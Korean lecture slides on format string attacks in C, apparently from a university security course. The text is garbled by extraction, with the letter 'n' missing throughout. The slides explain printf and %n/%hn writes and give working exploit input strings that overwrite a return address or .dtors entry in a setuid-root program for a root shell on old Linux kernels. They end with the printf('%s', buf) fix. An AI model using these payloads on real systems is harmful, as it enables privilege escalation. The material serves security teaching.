Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1
목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2, v2.4, v2.6?) 포맷스트링공격에대한대응책 2
Format Strig Attack? Format Strig 과이것을사용하는 pritf() 함수의취약점을이용하여 RET 의위치에쉘코드의주소를 write 하여쉘을획득하는공격. Buffer Overflow Attack 과비교 RET 의위치주소를정확히알아야함 (BOF 는 buffer 와 RET 사이의거리만알면됨 ) Overflow 없이 RET 에바로 write 할수있으므로스택가드나 caary 를우회함 3
Format Strig? 일반적으로사용자로부터입력을받아들이거나결과를출력하기위하여사용하는형식 Ex) it i = 5; pritf( %d, i); 파라미터 (Parameter) 변수형식 %d 정수형 10 진수상수 (iteger) %f 실수형상수 (float) %lf 실수형상수 (double) %c 문자값 (char) %s 문자스트링 ((cost)(usiged) char *) %u 양의정수 (10 진수 ) %o 양의정수 (8 진수 ) %x 양의정수 (16 진수 ) %s 문자열 % * it ( 쓰인총바이트수 ) %h % 의반인 2 바이트단위 4
Format Strig Attack - 착안점및원리 취약점 1 pritf() 의취약점 GOOD! mai() { char *ex = format strig ; pritf( %s \,ex); } BAD! mai() { char *ex = format strig ; pritf(ex); } 5
Format Strig Attack - 착안점및원리 취약점 1 pritf() 의취약점 (cot.) mai() { char *ex = test %x %x %x %x ; pritf( %s \,ex); } mai() { } char *ex = test %x %x %x %x ; pritf(ex); //pritf( test %x %x %x %x ); pritf() 는 format strig 이후에해당 format strig 에해당하는인자가없으면 Stack 상에서 pritf() 가호출된시점에서 stack top 위치의내용부터순서대로인자로여김 6
Format Strig Attack - 착안점및원리 취약점 2 format strig : %(%h) 해당 pritf() 에의해출력된바이트수를정수형포인터에저장 (4byte, %h 은 2byte 로저장 ) mai() { char *ex = format strig ; it *byte; pritf( %s%, ex, byte); pritf("prit byte = %d\", *byte); } format strig 출력된바이트 ( 빈칸포함 ) 13 이 byte 라는정수형포인터에 저장된것을확인 7
Format Strig Attack - 착안점및원리 취약점종합 % 과 %h 의차이점 #iclude <stdio.h> //test6.c #iclude "dumpcode.h mai(){ char buffer[64]; fgets(buffer, 63, stdi); pritf(buffer); dumpcode ((char *)buffer, 100);} (pritf "\x41\x41\x41\x41\x78\xfb\xff\xbf%%c%%"; cat)./test6 8
Format Strig Attack - 착안점및원리 취약점종합 (cot.) (pritf "\x41\x41\x41\x41\x78\xfb\xff\xbf%%c%%"; cat)./test6 RET #iclude <stdio.h> //test6.c #iclude "dumpcode.h" mai(){ char buffer[64]; fgets(buffer, 63, stdi); pritf(buffer); dumpcode ((char *)buffer, 100);} SFP pritf( \x41\x41\x41\x41\x78\xfb\xff\xbf%c% );... 0xbffffb78 0x41414141 buffer %에대응 %c에대응 pritf() 호출 % 은출력된바이트수를정수형포인터에저장하므로 0xbffffb78 을주소로알고메모리상의해당주소위치에출력된바이트수를저장 9
Format Strig Attack - 착안점및원리 Idea Pritf() 의취약점을이용하여 stack 에접근가능 %(%h) 의취약점을이용하여 write 가허용된 memory segmet 에원하는값을 write 할수있음 앞의예제에서 % 앞에 9byte를출력시켜서원하는주소에 9를 write함 %앞에 % 정수d(%90d) 와같은형태의 format strig으로출력바이트를조작해서공격자가원하는메모리주소를원하는위치에 write할수있음 ex) 메모리의 0xbffffb78(RET의위치주소 ) 위치에 0xbfabfabc( 쉘코드주소 ) 를 write 하려면 0xbfabfabc = 3221224124 buf = \x41\x41\x41\x41\x78\xfb\xff\xbf%3221224124d% pritf(buf);? eggshell 을이용해쉘코드를메모리에올린후그주소를 pritf() 와 % 의취약점을이용하여메모리상의 RET 위치에 write 함 쉘획득성공?? 10
Format Strig Attack - 착안점및원리 Idea(cot.) 0xbfabfabc = 3221224124 buf = \x41\x41\x41\x41\x78\xfb\xff\xbf%3221224124d% RET pritf(buf); 결과 SFP format strig 0xbffffb78 0x41414141 buffer %에대응 %3221224124d 에대응 pritf() 호출?????????????????????????? 11 0x41의 10진수값인 A 가 4개출력되고, 0xbffffb78이표현가능한값으로출력된후 Format strig %322122412d에의해대응되는공간의값이 322122412byte공간을확보하여출력되고, %에의해대응되는공간에있는값을주소값이라고여겨해당주소공간에지금까지출력된 322122414byte를 16진수로변환하여 0xbffffb78을 write???????????????
Format Strig Attack - 착안점및원리 Idea 대로수행하면과연쉘을획득할수있을까? No!!! 시스템 (cpu) 는 3221224124 와같이큰수를바로인식할수없음 pritf() 가 format strig 을만나기전까지는정상적인출력을함으로 주소계산과정에서고려해야함 해결방법 % 과는달리 2byte 단위로 write 하는 %h 을사용하여 0xbfabfabc 를 0xbfab 와 0xfabc 로나누어서사용 정상적으로출력된 byte 를고려하여주소계산과정에서 (-) 함 12
Format Strig Attack - 착안점및원리 조건 정상적인프로그래머가해당인자가없는 format strig 을포함하는 pritf() 를사용할경우는없음 ex) pritf( test %x %x %x %x ); char *ex = test %x %x %x %x ; pritf(ex); argv 나표준입력을통해서공격코드를버퍼에넣을수있는함수및코드가필요 ex) fgets(buffer, 63, stdi); read(0, buf, 64); 실행흐름을바꿀수있는메모리위치의정확한주소필요 ex) 함수호출시의 RET 적합한실행파일찾기 쉘코드의위치주소필요 공격자의능력 13
Format Strig Attack 입력 ( 공격 ) 코드생성 0xbffff14c(RET 주소 ) 의위치에 0xbffffb28( 쉘코드주소 ) 를 write 하기위한입력코드 (pritf "\x41\x41\x41\x41\x4c\xf1\xff\xbf\x41\x41\x41\x41\x4e\xf1\xff\xbf%%64280d%%h%%50391d%%h"; cat)./bugfile RET SFP format strig %64280d, %50391d?? 0xbffff14e 0x41414141 0xbffff14c 0x41414141 %h에대응 %50391d에대응 %h에대응 %64280d에대응 0xbffff14c, 0xbffff14e?? 14
Format Strig Attack 입력 ( 공격 ) 코드생성 0xbffff14c(RET 주소 ) 의위치에 0xbffffb28( 쉘코드주소 ) 를 write 하기위한입력코드 (pritf "\x41\x41\x41\x41\x4c\xf1\xff\xbf\x41\x41\x41\x41\x4e\xf1\xff\xbf%%64280d%%h%%50391d%%h"; cat)./bugfile 16 byte %64280d, %50391d?? 0xbffffb28을그대로 10진수로변환하면시스템에서처리할수없으므로 0x1bfff, 0xfb28로나누어 10진수로변환 0xfb28 = 64296 이지만 format strig을만나기전에 16byte를출력함으로 16을 (-) 한 64280만큼의공간을확보해서 AAAA 를출력하면원하는위치에 0xfb28(64296) 을 write하게됨 64296 16 = 64280 0x1bfff( 양수는 1이숨어있음 ) = 114687 이지만앞에총 64296byte만큼출력되었기때문에 114687-64296을한 50391만큼의공간을확보해서 AAAA 를출력하면원하는위치에 0xbfff(114687) 을 write하게됨 114687 64296 = 50391 0xbffff14c, 0xbffff14e?? %h 은 % 과는달리 2byte 단위로 write 하기때문에 4byte 단위의주소를둘로나누어두번에걸쳐 write 해야함 0xbfff(114687) 0xfb28(64296) 0xbffff14e 15 0xbffff14c
Format Strig Attack 실습환경 OS RedHat6(kerel v2.2) RedHat9(kerel v2.4) Fedora Core6(kerel v2.6) 취약및공격프로그램 Eggshell (Buffer Overflow Attack 때와동일 ) Bugfile (root 권한의 Setuid 설정, Format Strig Attack 에필요한취약요소포함 ) #iclude <stdio.h> #iclude "dumpcode.h" mai(){ it i =0; char buf[64]; memset(buf, 0, 64); read(0, buf, 64); pritf(buf); dumpcode ((char *)buf, 200);// 스택상태확인 } 16
Format Strig Attack kerel v2.2(redhat 6) kerel v2.2 stack에 dummy값삽입 X stack에서환경변수의위치와 mai함수의위치가대부분동일함 공격순서 eggshell 을실행 ( 쉘코드를메모리에올림 ) 한후간단한실행파일을만든후디버깅을통해서 mai 의 RET 의위치주소를확인 eggshell 실행시출력된쉘코드의예상주소와 bugfile 의예상 mai RET 주소를이용하여입력코드생성 root 권한의쉘획득!!! ( 간단한명령을통해확인 ) 17
Format Strig Attack kerel v2.2(redhat 6) eggshell 을실행 ( 쉘코드를메모리에올림 ) 한후간단한실행파일을만든후디버깅을통해서 mai 의 RET 의위치주소를확인 0xbffff14c(RET 주소 ) 확인! eggshell 실행시출력된쉘코드의예상주소와 bugfile 의예상 mai RET 주소를이용하여입력코드생성 0xbffffb28( 쉘코드주소 ) 확인! (pritf"\x41\x41\x41\x41\x4c\xf1\xff\xbf\x41\x41\x41\x41\x4e\xf1\xff\xbf%%64280d%%h %%50391d%%h"; cat)./bugfile 18
Format Strig Attack kerel v2.4(redhat 9) kerel v2.4 kerel v2.2 에서와는다르게 buffer와 pritf() 의호출시점사이에 12byte의 dummy값존재입력코드에 dummy byte만큼의 format strig을삽입하여해결가능 ex) %8x%8x%8x RET SFP format strig 0x41414141 0x4207a750 stack 상에서위치주소가 16 3 수준부터 Radom 하게변함 RET 의위치주소를정확히알아야하는 format strig attack 에게는치명적임 But 컴파일후변경되지않는 ELF 포맷의.dtors 를이용하여간단하게우회가능 0x00000040 0xbfff550 stack 상에서의위치주소가 Radom 하게변함으로환경변수로 stack 에올린쉘코드의위치주소도변하지않을까??? gdb 를이용하여확인해본결과 kerel2.4 에서는 mai 함수의시작위치만 radom 하게지정하기때문에환경변수들의위치는항상동일함.. 고민해결!! 19
Format Strig Attack kerel v2.4(redhat 9) kerel v2.4 ELF??.dtors?? ELF 포맷은다른파일포맷에비해약간의오버헤드가있지만유연성이뛰어난파일포맷으로리눅스에서가장일반적으로사용되는포맷 ELF 포맷은프로그램의시작과종료시 ( 즉, mai 함수실행전과 exit 함수실행후 ) 특정함수를실행할수있다. 시작시실행 costructors (.ctors) static void start(void) attribute ((costructor)); 종료시실행 destructors (.dtors) static void stop(void) attribute ((costructor)); 20
Format Strig Attack kerel v2.4(redhat 9) kerel v2.4 objdump h bugfile more stack heap bss.dtors data obdump s j.dtors bugfile text 0x00000000 0xffffffff 0x80497f8 21 0x80497f4
Format Strig Attack kerel v2.4(redhat 9) kerel v2.4.dtors 에서 0x00000000(0x80497f8) 즉, objdump 를통해출력된.dtors 의시작주소에 4 를 (+) 한주소에우리의목적인쉘코드의위치주소를 write 하면성공! stack 에서 mai 함수시작이후의 esp 값은실행시마다변함으로 eggshell 에서출력되는쉘코드의예상위치주소는신뢰할수없음. kerel v2.4 에서환경변수의위치는항상같으므로 gdb 를통해서쉘코드의위치주소를먼저확인후사용!! 위에서추출한주소들을사용하여입력코드생성후공격!!! root 권한쉘획득!! 22
Format Strig Attack kerel v2.4(redhat 9) kerel v2.4 (pritf"\x41\x41\x41\x41\xf8\x97\x04\x08\x41\x41\x41\x41\xfa\ x97\x04\x08%%8x%%8x%%8x%%62432d%%h%%52215d% %h"; cat)./bugfile 23
Format Strig Attack kerel v2.4(redhat 9) kerel v2.4 (pritf"\x41\x41\x41\x41\xf8\x97\x04\x08\x41\x41\x41\x41\xfa\ x97\x04\x08%%8x%%8x%%8x%%62432d%%h%%52215d% %h"; cat)./bugfile format strig 쉘코드주소 0xffffffff 0x080497fa %h 0x80497f8 0x80497f4 0x41414141 %52215d 0x080297f8 %h 0x41414141 %62432d dummy %8x EASY!! dummy %8x dummy %8x 24
Format Strig Attack kerel v2.6(fedora Core 6) kerel v2.6 kerel v2.6 에서는 kerel v2.4 에서와는달리 stack 에서의환경변수위치까지 Radom 하게바뀌고, 16 3 수준보다큰 16 5 수준부터 Radom 하게변함 결과적으로쉘코드의위치를알기매우힘들기때문에공격이매우힘듬 매번실행시마다바뀌는쉘코드의위치들의규칙성을찾으려고노력했지만 X ( 실습환경에서는쉘코드의시작이 0x??????a1 부터시작되는규칙성만찾음 ) 결국기존의공격방법으로는성공할확률이매우희박해결방안 shellcode를실행시주소가변하지않는공간에상주 eggshell 의 shellcode 앞에쌓은 NOP 의양을극대화시킴으로써공격성공확률높임 25
포맷스트링공격에대한대응책 pritf( %s\, buffer); OK!! pritf(buffer); NO!! 26